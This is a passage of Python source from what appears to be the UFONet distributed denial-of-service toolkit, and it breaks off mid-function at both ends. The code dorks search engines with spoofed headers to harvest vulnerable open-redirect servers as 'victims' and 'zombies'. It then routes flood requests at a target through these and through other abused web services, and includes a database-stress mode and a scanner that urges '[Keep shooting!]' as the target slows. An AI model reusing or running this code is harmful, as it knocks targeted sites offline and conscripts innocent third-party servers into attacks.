  2645. tcpsock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
  2646. tcpsock.bind((host,port))
  2647. while True:
  2648. tcpsock.listen(4)
  2649. (clientsock, (ip, port)) = tcpsock.accept()
  2650. newthread = ClientThread(ip, port, clientsock)
  2651. newthread.start()
  2652. except (KeyboardInterrupt, SystemExit):
  2653. sys.exit()
  2654. def extract_dorks(self):
  2655. # extract dorks from file (ex: 'dorks.txt')
  2656. try:
  2657. f = open(self.dorks_file)
  2658. dorks = f.readlines()
  2659. dorks = [ dork.replace('\n','') for dork in dorks ]
  2660. f.close()
  2661. if not dorks:
  2662. if not options.autosearch:
  2663. print("[Error] [AI] [Control] Cannot retrieve [Dorks] from: 'botnet/dorks.txt' -> [Aborting!]\n")
  2664. return
  2665. else:
  2666. return dorks
  2667. except:
  2668. if not options.autosearch:
  2669. if os.path.exists(self.dorks_file) == True:
  2670. print("[Error] [AI] [Control] Cannot open [Dorks] from: 'botnet/dorks.txt' -> [Aborting!]\n")
  2671. return #sys.exit(2)
  2672. else:
  2673. print("[Error] [AI] [Control] Cannot found [Dorks] from: 'botnet/dorks.txt' -> [Aborting!]\n")
  2674. return #sys.exit(2)
  2675. else:
  2676. return
  2677. def search_zombies(self, dork, zombies_found):
  2678. # crawlering on search engine results to extract zombies
  2679. options = self.options
  2680. zombies = []
  2681. if not options.engine: # default search engine
  2682. options.engine = 'duck'
  2683. if options.engine == 'bing': # using bing [28/02/2019: OK!]
  2684. url = 'https://www.bing.com/search?'
  2685. if options.search: # search from query
  2686. q = 'instreamset:(url):"' + str(options.search) + '"' # set query to search literally on results
  2687. if options.dorks or options.autosearch: # search from a dork
  2688. q = 'instreamset:(url):"' + str(dork) + '"' # set query from a dork to search literally on results
  2689. start = 0 # set index number of first entry
  2690. query_string = { 'q':q, 'first':start }
  2691. data = urllib.parse.urlencode(query_string)
  2692. url = url + data
  2693. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  2694. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  2695. if options.verbose:
  2696. print("[Info] [AI] Query used: " + url)
  2697. print("\n" + '-'*44 + '\n')
  2698. try:
  2699. if options.proxy: # set proxy
  2700. self.proxy_transport(options.proxy)
  2701. req = urllib.request.Request(url, None, headers)
  2702. req_reply = urllib.request.urlopen(req, context=self.ctx).read().decode('utf-8')
  2703. except:
  2704. print('[Error] [AI] Unable to connect to: bing\n')
  2705. if options.allengines or options.autosearch:
  2706. return
  2707. if not options.dorks or not options.autosearch:
  2708. if not self.options.forceyes:
  2709. update_reply = input("[AI] Do you want to try a different search engine? (Y/n)")
  2710. else:
  2711. update_reply = "Y"
  2712. if update_reply == "n" or update_reply == "N":
  2713. return #sys.exit(2)
  2714. print("\nSearch engines available:")
  2715. print('-'*25)
  2716. for e in self.search_engines:
  2717. print("+ "+e)
  2718. print('-'*25)
  2719. print("\nEx: ufonet -s 'proxy.php?url=' --se 'yahoo'")
  2720. return #sys.exit(2)
  2721. else:
  2722. req_reply = ''
  2723. regex = '<li class="b_algo"><h2><a href="(.+?)">' # regex magics
  2724. pattern = re.compile(regex)
  2725. url_links = re.findall(pattern, req_reply)
  2726. elif options.engine == 'yahoo': # yahoo [28/02/2019: OK!]
  2727. location = ['fr', 'de', 'es', 'nl', 'it', 'se', 'ch', 'jp', 'ru', 'lt'] # evading Yahoo anti-dorking [grey magic: 28/02/2019]
  2728. #location = ['fr', 'de', 'es', 'nl', 'se', 'ch', 'ru'] # [08/04/2017]
  2729. location = str(random.choice(location).strip()) # shuffle location
  2730. if location == "jp": # [28/02/2019]
  2731. url = 'https://search.yahoo.co.jp/search?'
  2732. else:
  2733. url = 'https://'+location+'.search.yahoo.com/search?'
  2734. if options.search: # search from query
  2735. if location == "jp":
  2736. q = '"' + str(options.search) + '"' # set query to search literally on results
  2737. else:
  2738. q = 'instreamset:(url):"' + str(options.search) + '"' # set query to search literally on results
  2739. if options.dorks or options.autosearch: # search from a dork
  2740. if location == "jp":
  2741. q = '"' + str(dork) + '"' # set query to search literally on results
  2742. else:
  2743. q = 'instreamset:(url):"' + str(dork) + '"' # set query from a dork to search literally on results
  2744. start = 0 # set index number of first entry
  2745. query_string = { 'p':q, 'b':start }
  2746. data = urllib.parse.urlencode(query_string)
  2747. url = url + data
  2748. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  2749. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  2750. if options.verbose:
  2751. print(("Query used: " + url + "\n"))
  2752. try:
  2753. if options.proxy: # set proxy
  2754. self.proxy_transport(options.proxy)
  2755. req = urllib.request.Request(url, None, headers)
  2756. req_reply = urllib.request.urlopen(req, context=self.ctx).read().decode('utf-8')
  2757. except:
  2758. print('[Error] [AI] Unable to connect to: yahoo\n')
  2759. if options.allengines or options.autosearch:
  2760. return
  2761. if not options.dorks or not options.autosearch:
  2762. if not self.options.forceyes:
  2763. update_reply = input("[AI] Do you want to try a different search engine? (Y/n)")
  2764. else:
  2765. update_reply = "Y"
  2766. if update_reply == "n" or update_reply == "N":
  2767. return #sys.exit(2)
  2768. print("\nSearch engines available:")
  2769. print('-'*25)
  2770. for e in self.search_engines:
  2771. print("+ "+e)
  2772. print('-'*25)
  2773. print("\nEx: ufonet -s 'proxy.php?url=' --se 'bing'")
  2774. return #sys.exit(2)
  2775. else:
  2776. req_reply = ''
  2777. #regex = '<h3 class="title"><a style="color:#2C46C7" class=" td-u" href="(.+?)" target="_blank"' # regex magics [18/08/2016]
  2778. regex = 'href="(.+?)" target="_blank" data' # regex magics [08/04/2017]
  2779. pattern = re.compile(regex)
  2780. url_links = re.findall(pattern, req_reply)
  2781. elif options.engine == 'duck': # using duckduckgo [28/02/2019: OK!]
  2782. url = 'https://duckduckgo.com/html/'
  2783. if options.search: # search from query
  2784. q = 'instreamset:(url):"' + str(options.search) + '"' # set query to search literally on results
  2785. if options.dorks or options.autosearch: # search from a dork
  2786. q = 'instreamset:(url):"' + str(dork) + '"' # set query from a dork to search literally on results
  2787. query_string = { 'q':q }
  2788. data = urllib.parse.urlencode(query_string)
  2789. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  2790. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  2791. if options.verbose:
  2792. print("Query used: " + url + " (POST: "+ data + ")\n")
  2793. try:
  2794. if options.proxy: # set proxy
  2795. self.proxy_transport(options.proxy)
  2796. req = urllib.request.Request(url, data.encode('utf-8'), headers) # HTTP POST request
  2797. req_reply = urllib.request.urlopen(req, context=self.ctx).read().decode('utf-8')
  2798. except:
  2799. print('[Error] [AI] Unable to connect to: duck\n')
  2800. if options.allengines or options.autosearch:
  2801. return
  2802. if not options.dorks or not options.autosearch:
  2803. if not self.options.forceyes:
  2804. update_reply = input("[AI] Do you want to try a different search engine? (Y/n)")
  2805. else:
  2806. update_reply = "Y"
  2807. if update_reply == "n" or update_reply == "N":
  2808. return #sys.exit(2)
  2809. print("\nSearch engines available:")
  2810. print('-'*25)
  2811. for e in self.search_engines:
  2812. print("+ "+e)
  2813. print('-'*25)
  2814. print("\nEx: ufonet -s 'proxy.php?url=' --se 'yahoo'")
  2815. return #sys.exit(2)
  2816. else:
  2817. req_reply = ''
  2818. regex = 'snippet" href="(.+?)">' # regex magics
  2819. pattern = re.compile(regex)
  2820. url_links = re.findall(pattern, req_reply)
  2821. else: # no valid search engine
  2822. print('[Error] [AI] This search engine is not supported!\n')
  2823. if not options.dorks or options.autosearch:
  2824. if not self.options.forceyes:
  2825. update_reply = input("[AI] Do you want to try a different search engine? (Y/n)")
  2826. else:
  2827. update_reply = "Y"
  2828. if update_reply == "n" or update_reply == "N":
  2829. return #sys.exit(2)
  2830. print("\nSearch engines available:")
  2831. print('-'*25)
  2832. for e in self.search_engines:
  2833. print("+ "+e)
  2834. print('-'*25)
  2835. print("\nEx: ufonet -s 'proxy.php?url=' --se 'yahoo'")
  2836. return #sys.exit(2)
  2837. else:
  2838. req_reply = ''
  2839. if options.num_results: # set number of results to search
  2840. try:
  2841. num = int(options.num_results)
  2842. except:
  2843. print("[Info] [AI] You should specify an integer!... Using default value: 10\n")
  2844. num = 10
  2845. else:
  2846. num = 10
  2847. total_results = 1
  2848. for url in url_links: # general parse on urls
  2849. if int(num) < int(total_results):
  2850. break
  2851. if options.engine == "bing":
  2852. if " h=" in url: # regex magics [18/08/2016]
  2853. url = url.rsplit('" h=',1)[0]
  2854. if options.engine == "yahoo":
  2855. if 'RU=' in url: # regex magics [18/08/2016]
  2856. url = url.rsplit('RU=',1)[1]
  2857. if 'UTF-8&u=' in url: # regex magics [05/02/2018]
  2858. url = url.rsplit('UTF-8&u=',1)[1]
  2859. total_results = total_results + 1 # results counter
  2860. url_link = urllib.parse.unquote(url) # unquote encoding
  2861. if options.search:
  2862. sep = str(options.search)
  2863. if options.dorks or options.autosearch:
  2864. sep = str(dork)
  2865. url_link = url_link.rsplit(sep, 1)[0] + sep
  2866. if 'href="' in url_link:
  2867. url_link = url_link.rsplit('href="', 1)[1]
  2868. if "instreamset" in url_link: # invalid zombie
  2869. url_link = "" # discarded
  2870. if '" ' in url_link:
  2871. url_link = url_link.rsplit('" ', 1)[1]
  2872. if options.engine in url_link:
  2873. url_link = "" # discarded
  2874. if 'http' not in url_link:
  2875. url_link = "" # discarded
  2876. else:
  2877. if url_link not in zombies and url_link+os.linesep not in zombies_found and url_link is not "": # AI mode (parsing search engines mixed pool and stored army)
  2878. print('+Victim found: ' + url_link)
  2879. print('-'*12)
  2880. zombies.append(url_link)
  2881. else:
  2882. pass
  2883. if len(zombies) == 0: # print dorking results
  2884. print("[Info] [AI] NOT any NEW victim(s) found for this query!")
  2885. if not options.dorks:
  2886. if not options.autosearch:
  2887. if not self.options.forceyes:
  2888. return #sys.exit(2)
  2889. print("\n" + '-'*44 + '\n')
  2890. self.total_possible_zombies = self.total_possible_zombies + len(zombies)
  2891. return zombies
  2892. def check_nat(self):
  2893. # check for NAT configuration
  2894. options = self.options
  2895. tor_reply = urllib.request.urlopen(self.check_tor_url).read().decode('utf-8') # check if TOR is enabled
  2896. your_ip = tor_reply.split('<strong>')[1].split('</strong>')[0].strip()
  2897. check_ip_service = None
  2898. if not tor_reply or 'Congratulations' not in tor_reply:
  2899. print("[Info] [AI] It seems that you are not using TOR to recieve data. -> [OK!]\n")
  2900. else:
  2901. print("[Error] [AI] You are using TOR as public IP... It's not possible to NAT! -> [Aborting!]\n")
  2902. self.nat_error_flag = "ON"
  2903. return #sys.exit(2)
  2904. try:
  2905. data = str(urlopen(self.check_ip_service1).read()) # check for public ip
  2906. self.pub_ip = re.compile(r'Address: (\d+\.\d+\.\d+\.\d+)').search(data).group(1)
  2907. check_ip_service = self.check_ip_service1
  2908. except:
  2909. try: # another check for public ip
  2910. data = str(urlopen(self.check_ip_service2).read())
  2911. self.pub_ip = re.compile(r'">(\d+\.\d+\.\d+\.\d+)</span>').search(data).group(1)
  2912. check_ip_service = self.check_ip_service2
  2913. except:
  2914. print("[Error] [AI] Something wrong checking your public IP! -> [Exiting!]\n")
  2915. self.nat_error_flag = "ON"
  2916. return
  2917. t = urlparse(check_ip_service)
  2918. name_service = t.netloc
  2919. print(" + Public: " + self.pub_ip + " | "+name_service+"\n")
  2920. s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
  2921. s.connect(('8.8.8.8', 0)) # connecting to a UDP address doesn't send packets (black magic)
  2922. self.local_ip = s.getsockname()[0]
  2923. print(" + Local: " + self.local_ip + "\n")
  2924. print('='*22 + '\n')
  2925. def extract_ucavs(self):
  2926. # extract ucavs from file
  2927. options = self.options
  2928. try:
  2929. f = open(self.ucavs_file)
  2930. ucavs = f.readlines()
  2931. ucavs = [ ucav.replace('\n','') for ucav in ucavs ]
  2932. f.close()
  2933. if not ucavs:
  2934. print("[Info] [AI] [Control] Cannot retrieve [UCAVs] from: 'botnet/ucavs.txt' -> [Discarding!]")
  2935. self.options.disableucavs = True
  2936. return
  2937. else:
  2938. return ucavs
  2939. except:
  2940. if os.path.exists(self.ucavs_file) == True:
  2941. print("[Info] [AI] [Control] Cannot open [UCAVs] from: 'botnet/ucavs.txt' -> [Discarding!]")
  2942. return #sys.exit(2)
  2943. else:
  2944. print("[Info] [AI] [Control] Cannot found [UCAVs] from: 'botnet/ucavs.txt' -> [Discarding!]")
  2945. return #sys.exit(2)
  2946. def discarding_ucavs(self, ucav, ucavs):
  2947. if ucav in self.discard_ucavs:
  2948. ucavs.remove(ucav)
  2949. if self.options.verbose:
  2950. print(("[Info] [AI] [Control] [UCAVs] "+str(ucav)+" is not working! -> [Discarding!]"))
  2951. self.ucavs_fail = self.ucavs_fail + 1 # add ucav fail to stats
  2952. return ucavs
  2953. def send_ucavs(self, ucavs):
  2954. # extract external status checkers, perform a request and check results
  2955. time.sleep(5) # aiming (multi-threading flow time compensation)
  2956. if not self.options.disablepurge:
  2957. if not ucavs: # return when not any working
  2958. self.options.disableucavs = True
  2959. return
  2960. options = self.options
  2961. target = self.options.target
  2962. shuffle(ucavs) # shuffle ucavs order, each round :-)
  2963. if not self.options.disablepurge:
  2964. for ucav in ucavs:
  2965. if not ucav.startswith('http'): # discarded inmediately
  2966. self.discard_ucavs.append(ucav)
  2967. self.num_discard_ucavs = self.num_discard_ucavs + 1
  2968. ucavs = self.discarding_ucavs(ucav, ucavs) # check if ucav is failing for autobalance army
  2969. if not self.options.disablepurge:
  2970. if not ucavs: # return when not any working
  2971. self.options.disableucavs = True
  2972. return
  2973. shuffle(ucavs) # shuffle ucavs order, each discarding check :-)
  2974. for ucav in ucavs:
  2975. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  2976. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  2977. if target.startswith("http://"): # parse target for some checkers
  2978. target = target.replace('http://','')
  2979. elif target.startswith("https://"):
  2980. target = target.replace('https://','')
  2981. url = ucav + target
  2982. t = urlparse(ucav)
  2983. name_ucav = t.netloc
  2984. if name_ucav == "":
  2985. name_ucav = ucav
  2986. if options.verbose:
  2987. print(("[Info] [UCAVs] Sniping: " + url))
  2988. try:
  2989. if options.proxy: # set proxy
  2990. self.proxy_transport(options.proxy)
  2991. if options.timeout: # set timeout
  2992. ucav_timeout = options.timeout
  2993. else:
  2994. ucav_timeout = 5
  2995. if ucav_timeout < 1:
  2996. ucav_timeout = 5
  2997. req = urllib.request.Request(url, None, headers)
  2998. target_reply = urllib.request.urlopen(req, context=self.ctx, timeout=ucav_timeout).read().decode('utf-8')
  2999. self.ucavs_hit = self.ucavs_hit + 1 # add ucav hit to stats
  3000. except:
  3001. print("[Info] [UCAVs] " + name_ucav + " -> FAILED (cannot connect!)")
  3002. if not self.options.disablepurge:
  3003. self.discard_ucavs.append(ucav)
  3004. self.num_discard_ucavs = self.num_discard_ucavs + 1
  3005. self.ucavs_fail = self.ucavs_fail + 1 # add ucav fail to stats
  3006. target_reply = ""
  3007. if target_reply == "": # check for target's status resolved by [UCAVs]
  3008. pass
  3009. else:
  3010. if not "is down" or not "looks down" or not "No info found for host" in target_reply: # parse external service for reply
  3011. print("[Info] [UCAVs] " + name_ucav + " -> Target is ONLINE! -> [Keep shooting!]")
  3012. self.num_is_up = self.num_is_up + 1
  3013. else:
  3014. print("[Info] [UCAVs] " + name_ucav + " -> Target looks OFFLINE! -> [Checking!]")
  3015. self.num_is_down = self.num_is_down + 1
  3016. if self.options.verbose:
  3017. print("[Info] [AI] [UCAVs] "+str(name_ucav)+" is returning...")
  3018. self.extra_zombies_lock = False # [ARMY] have finished
  3019. def extract_median(self, num_list):
  3020. # extract median from a list of numbers
  3021. import statistics
  3022. int_num = []
  3023. for num in num_list:
  3024. num = float(num)
  3025. int_num.append(num)
  3026. return statistics.median(int_num)
  3027. def check_is_loading(self, target):
  3028. # perform a broadband test (using GET) to analize target's reply to the traffic generated each round
  3029. self.start = None
  3030. self.stop = None
  3031. print('\n---------')
  3032. print("\n[Info] [AI] Scanning target to check for levels on defensive shields...\n")
  3033. if target.endswith(""):
  3034. target.replace("", "/")
  3035. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  3036. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  3037. try:
  3038. req = urllib.request.Request(target, None, headers)
  3039. if self.options.proxy: # set proxy
  3040. self.proxy_transport(self.options.proxy)
  3041. if self.options.timeout: # set timeout
  3042. try:
  3043. timeout = int(self.options.timeout)
  3044. except:
  3045. timeout = 5
  3046. else:
  3047. timeout = 5
  3048. if timeout < 1:
  3049. timeout = 5
  3050. self.start = time.time()
  3051. target_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')
  3052. header = urllib.request.urlopen(req, context=self.ctx).info()
  3053. self.stop = time.time()
  3054. except:
  3055. print('[Info] [AI] Our scanner cannot connect to the target this round! -> [Skipping!]\n')
  3056. return
  3057. try:
  3058. s, size_name = self.convert_size(len(target_reply))
  3059. self.loadcheck_size_list.append(s) # add record to size list
  3060. size = '%s %s' % (s,size_name)
  3061. except:
  3062. size = "Error!"
  3063. try:
  3064. time_required = self.stop - self.start
  3065. load = self.convert_time(time_required)
  3066. self.loadcheck_load_list.append(load) # add record to load list
  3067. except:
  3068. load = "Error!"
  3069. self.loadcheck_counter = self.loadcheck_counter + 1
  3070. print(' -Total tests:', self.loadcheck_counter, "\n")
  3071. if self.loadcheck_prev_size is not None and self.loadcheck_prev_load is not None:
  3072. lsm = self.extract_median(self.loadcheck_size_list)
  3073. if lsm is not None:
  3074. self.loadcheck_size_median = str(lsm) + " " + size_name
  3075. else:
  3076. self.loadcheck_size_median = None
  3077. llm = self.extract_median(self.loadcheck_load_list)
  3078. if llm is not None:
  3079. self.loadcheck_load_median = str(llm) + " seconds"
  3080. else:
  3081. self.loadcheck_load_median = None
  3082. if self.loadcheck_counter == 2: # first round
  3083. print(' -Bytes in (first round) :', self.loadcheck_first_size)
  3084. print(' -Bytes in (this round) :', size)
  3085. if self.loadcheck_size_median is not None:
  3086. print(' -Bytes in (median) :', self.loadcheck_size_median)
  3087. print(' ----')
  3088. print(' -Load time (first round) :', self.loadcheck_first_load, "seconds")
  3089. print(' -Load time (this round) :', load, "seconds")
  3090. if self.loadcheck_load_median is not None:
  3091. print(' -Load time (median) :', self.loadcheck_load_median, "\n")
  3092. else:
  3093. print("\n")
  3094. self.loadcheck_size_max = None
  3095. self.loadcheck_size_min = None
  3096. self.loadcheck_load_max = None
  3097. self.loadcheck_load_min = None
  3098. elif self.loadcheck_counter > 2: # rest of rounds
  3099. lsmax = max(self.loadcheck_size_list)
  3100. if lsmax is not None:
  3101. self.loadcheck_size_max = str(lsmax) + " " + size_name
  3102. else:
  3103. self.loadcheck_size_max = None
  3104. lsmin = min(self.loadcheck_size_list)
  3105. if lsmin is not None:
  3106. self.loadcheck_size_min = str(lsmin) + " " + size_name
  3107. else:
  3108. self.loadcheck_size_min = None
  3109. llmax = max(self.loadcheck_load_list)
  3110. if llmax is not None:
  3111. self.loadcheck_load_max = str(llmax) + " seconds"
  3112. else:
  3113. self.loadcheck_load_max = None
  3114. llmin = min(self.loadcheck_load_list)
  3115. if llmin is not None:
  3116. self.loadcheck_load_min = str(llmin) + " seconds"
  3117. else:
  3118. self.loadcheck_load_min = None
  3119. print(' -Bytes in (first round) :', self.loadcheck_first_size)
  3120. print(' -Bytes in (previous round) :', self.loadcheck_prev_size)
  3121. print(' -Bytes in (this round) :', size)
  3122. if self.loadcheck_size_max is not None:
  3123. print(' -Bytes in (max) :', self.loadcheck_size_max)
  3124. if self.loadcheck_size_min is not None:
  3125. print(' -Bytes in (min) :', self.loadcheck_size_min)
  3126. if self.loadcheck_size_median is not None:
  3127. print(' -Bytes in (median) :', self.loadcheck_size_median)
  3128. print(' ----')
  3129. print(' -Load time (first round) :', self.loadcheck_first_load, "seconds")
  3130. print(' -Load time (previous round):', self.loadcheck_prev_load, "seconds")
  3131. print(' -Load time (this round) :', load, "seconds")
  3132. if self.loadcheck_load_max is not None:
  3133. print(' -Load time (max) :', self.loadcheck_load_max)
  3134. if self.loadcheck_load_min is not None:
  3135. print(' -Load time (min) :', self.loadcheck_load_min)
  3136. if self.loadcheck_load_median is not None:
  3137. print(' -Load time (median) :', self.loadcheck_load_median, "\n")
  3138. else:
  3139. print("\n")
  3140. if self.loadcheck_prev_load < load: # target is loading more slowly
  3141. print("[Info] [AI] [Scanner] Target is serving the content more slowly this round! ;-) -> [Keep shooting!]\n")
  3142. elif self.loadcheck_prev_load == load: # inmutable target
  3143. print("[Info] [AI] [Scanner] Attack is not having any effect on your target this round... -> [Keep shooting!]\n")
  3144. elif self.loadcheck_prev_load > load: # is target defending?
  3145. print("[Info] [AI] [Scanner] Target is loading this round faster than the previous one! -> DETECTED: [PROXY CACHE!!]\n")
  3146. else:
  3147. print(' -Bytes in (this round) :', size)
  3148. print(' -Load time (this round):', load, "seconds\n")
  3149. self.loadcheck_first_size = size
  3150. self.loadcheck_first_load = load
  3151. self.loadcheck_size_median = None
  3152. self.loadcheck_load_median = None
  3153. self.loadcheck_size_max = None
  3154. self.loadcheck_size_min = None
  3155. self.loadcheck_load_max = None
  3156. self.loadcheck_load_min = None
  3157. self.loadcheck_prev_size = size # record previous size
  3158. self.loadcheck_prev_load = load # record previous load
  3159. def convert_size(self, size):
  3160. if (size == 0):
  3161. return '0 B'
  3162. size_name = ("B", "KB", "MB", "GB", "TB", "PB", "EB", "ZB", "YB")
  3163. i = int(math.floor(math.log(size,1024)))
  3164. p = math.pow(1024,i)
  3165. s = round(size/p,2)
  3166. return s, size_name[i]
  3167. def convert_time(self, time):
  3168. return '%.2f' % time
  3169. def discarding_zombies(self, zombie, zombies):
  3170. if zombie in self.discardzombies:
  3171. zombies.remove(zombie)
  3172. if self.options.verbose:
  3173. print(("[Info] [AI] [Control] [Zombies] "+str(zombie)+" is not working! -> [Discarding!]"))
  3174. return zombies
  3175. def send_zombies(self, zombies):
  3176. # send Open Redirect zombies
  3177. time.sleep(1) # aiming (multi-threading flow time compensation)
  3178. if not self.options.disablepurge:
  3179. if not zombies:
  3180. self.empty_zombies = True
  3181. return
  3182. if self.options.verbose:
  3183. print("[Info] [AI] [Control] Deploying [Zombies] with 'maser-melee' weapons...")
  3184. options = self.options
  3185. target = self.options.target
  3186. shuffle(zombies) # shuffle zombies order, each round :-)
  3187. if not self.options.disablepurge:
  3188. for zombie in zombies: # check if zombie is failing for autobalance army
  3189. if not zombie.startswith('http'): # discarded inmediately
  3190. self.discardzombies.append(zombie)
  3191. self.num_discard_zombies = self.num_discard_zombies + 1
  3192. zombies = self.discarding_zombies(zombie, zombies)
  3193. if not self.options.disablepurge:
  3194. if not zombies: # return when not any working
  3195. self.empty_zombies = True
  3196. return
  3197. for zombie in zombies:
  3198. t = urlparse(zombie)
  3199. name_zombie = t.netloc
  3200. if name_zombie == "":
  3201. name_zombie = zombie
  3202. if not self.options.attackme:
  3203. print("[Info] [Zombies] Attacking from: " + name_zombie)
  3204. else: # on attackme, target url is dynamic -> http://public_ip:port/hash|zombie
  3205. self.mothership_hash = random.getrandbits(128) # generating random evasion hash
  3206. target = "http://" + str(self.pub_ip) + ":" + self.port + "/"+ str(self.mothership_hash) + "|" + zombie
  3207. self.options.target = target
  3208. print("[Info] [Zombies] Attacking: " + str(self.pub_ip) + ":" + self.port + " -> [LAN]" + self.local_ip + ":" + self.port)
  3209. print("[Info] [Zombies] Payload: " + target)
  3210. print('='*55, "\n")
  3211. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  3212. if not options.target.startswith('http'):
  3213. if options.forcessl:
  3214. options.target = "https://" + options.target
  3215. else:
  3216. options.target = "http://" + options.target
  3217. self.attack_mode = True
  3218. try:
  3219. if options.verbose:
  3220. print("[Info] [Zombies] Sniping: " + options.target)
  3221. self.connect_zombies(zombie)
  3222. if self.options.dbstress: # try to stress db on target by using vulnerable Open Redirect web servers
  3223. self.db_flash = self.db_flash + 1
  3224. stress = self.stressing(target, zombie)
  3225. except Exception:
  3226. print("[Info] [Zombies] " + zombie + " -> FAILED (cannot connect!)")
  3227. self.total_zombies_failed_connection = self.total_zombies_failed_connection + 1 # used to manage threading pool
  3228. if not self.options.disablepurge:
  3229. self.discardzombies.append(zombie)
  3230. self.num_discard_zombies = self.num_discard_zombies + 1
  3231. if self.options.verbose:
  3232. print("[Info] [AI] [Zombies] "+str(name_zombie)+" is returning...")
  3233. self.attack_mode = False
  3234. def discarding_aliens(self, alien, aliens):
  3235. if alien in self.discard_aliens:
  3236. aliens.remove(alien)
  3237. if self.options.verbose:
  3238. print(("[Info] [AI] [Control] [Aliens] "+str(alien)+" is not working! -> [Discarding!]"))
  3239. self.aliens_fail = self.aliens_fail + 1 # add fail to aliens stats
  3240. return aliens
  3241. def send_aliens(self, aliens):
  3242. # extract external web abuse services urls (POST) and perform requests against target
  3243. time.sleep(2) # aiming (multi-threading flow time compensation)
  3244. if not self.options.disablepurge:
  3245. if not aliens: # return when not any working
  3246. self.options.disablealiens = True
  3247. return
  3248. target = self.options.target
  3249. options = self.options
  3250. shuffle(aliens) # shuffle aliens
  3251. if not self.options.disablepurge:
  3252. for alien in aliens:
  3253. if not alien.startswith('http'): # discarded inmediately
  3254. self.discard_aliens.append(alien)
  3255. self.num_discard_aliens = self.num_discard_aliens + 1
  3256. aliens = self.discarding_aliens(alien, aliens) # check if alien is failing for autobalance army
  3257. if not self.options.disablepurge:
  3258. if not aliens: # return when not any working
  3259. self.options.disablealiens = True
  3260. return
  3261. shuffle(aliens) # shuffle aliens order, each discarding check :-)
  3262. for alien in aliens:
  3263. name_alien = None
  3264. if "$POST" in alien: # extract alien/parameters -> search for $POST delimiter on 'aliens.txt' file
  3265. regex_alien = re.compile('{}(.*){}'.format(re.escape(''), re.escape(';$POST'))) # regex magics
  3266. pattern_alien = re.compile(regex_alien)
  3267. alien_url = re.findall(pattern_alien, alien) # HTTP POST url for submit data
  3268. regex_param = re.compile('{}(.*){}'.format(re.escape('$POST;'), re.escape(''))) # regex magics
  3269. pattern_param = re.compile(regex_param)
  3270. param = re.findall(pattern_param, alien) # HTTP POST params to submit
  3271. for u in alien_url:
  3272. url = u # ex: POST -> path/submit.php
  3273. t = urlparse(url)
  3274. name_alien = t.netloc
  3275. if name_alien == "":
  3276. name_alien = alien
  3277. print("[Info] [Aliens] Attacking from: " + name_alien)
  3278. for p in param:
  3279. param_target = {p : target} # ex POST -> url=target
  3280. param_target = urllib.parse.urlencode(param_target)
  3281. try:
  3282. if options.verbose:
  3283. print("[Info] [Aliens] Sniping: " + url + " - POST:", param_target)
  3284. if options.proxy: # set proxy
  3285. self.proxy_transport(options.proxy)
  3286. if self.options.timeout: # set timeout
  3287. try:
  3288. alien_timeout = int(self.options.timeout)
  3289. except:
  3290. alien_timeout = 5
  3291. else:
  3292. alien_timeout = 5
  3293. if alien_timeout < 1:
  3294. alien_timeout = 5
  3295. req = urllib.request.Request(url, param_target.encode('utf-8'))
  3296. rsp = urllib.request.urlopen(req, context=self.ctx, timeout=alien_timeout)
  3297. self.aliens_hit = self.aliens_hit + 1 # add hit to aliens stats
  3298. except Exception:
  3299. print("[Info] [Aliens] " + name_alien + " -> FAILED (cannot connect!)")
  3300. self.aliens_fail = self.aliens_fail + 1 # add fail to aliens stats
  3301. if not self.options.disablepurge:
  3302. self.discard_aliens.append(alien)
  3303. self.num_discard_aliens = self.num_discard_aliens + 1
  3304. else:
  3305. print(("[Info] [Aliens] "+str(alien)+" -> FAILED (invalid alien!)"))
  3306. self.aliens_fail = self.aliens_fail + 1 # add fail to aliens stats
  3307. if not self.options.disablepurge:
  3308. self.discard_aliens.append(alien)
  3309. self.num_discard_aliens = self.num_discard_aliens + 1
  3310. if self.options.verbose:
  3311. if name_alien:
  3312. print("[Info] [AI] [Aliens] "+str(name_alien)+" is returning...")
  3313. else:
  3314. print("[Info] [AI] [Aliens] "+str(alien)+" is returning...")
  3315. if self.options.disabledroids and self.options.disablerpcs and self.options.disableucavs:
  3316. self.extra_zombies_lock = False # [ARMY] have finished
  3317. def extract_aliens(self):
  3318. # extract aliens from file
  3319. options = self.options
  3320. try:
  3321. f = open(self.aliens_file)
  3322. aliens = f.readlines()
  3323. aliens = [ alien.replace('\n','') for alien in aliens ]
  3324. f.close()
  3325. if not aliens:
  3326. print("[Info] [AI] [Control] Cannot retrieve [Aliens] from: 'botnet/aliens.txt' -> [Discarding!]")
  3327. self.options.disablealiens = True
  3328. return
  3329. else:
  3330. return aliens
  3331. except:
  3332. if os.path.exists(self.aliens_file) == True:
  3333. print("[Info] [AI] [Control] Cannot open [Aliens] from: 'botnet/aliens.txt' -> [Discarding!]")
  3334. return #sys.exit(2)
  3335. else:
  3336. print("[Info] [AI] [Control] Cannot found [Aliens] from: 'botnet/aliens.txt' -> [Discarding!]")
  3337. return #sys.exit(2)
  3338. def discarding_droids(self, droid, droids):
  3339. if droid in self.discard_droids:
  3340. droids.remove(droid)
  3341. if self.options.verbose:
  3342. print(("[Info] [AI] [Control] [Droids] "+str(droid)+" is not working! -> [Discarding!]"))
  3343. self.droids_fail = self.droids_fail + 1 # add fail to droids stats
  3344. return droids
  3345. def send_droids(self, droids):
  3346. # extract external web abuse services urls (GET) and perform requests against target
  3347. time.sleep(3) # aiming (multi-threading flow time compensation)
  3348. if not self.options.disablepurge:
  3349. if not droids: # return when not any working
  3350. self.options.disabledroids = True
  3351. return
  3352. target = self.options.target
  3353. try:
  3354. target = urllib.parse.unquote(target).decode('utf8') # parte urlencoding
  3355. except:
  3356. target = urllib.parse.unquote(target)
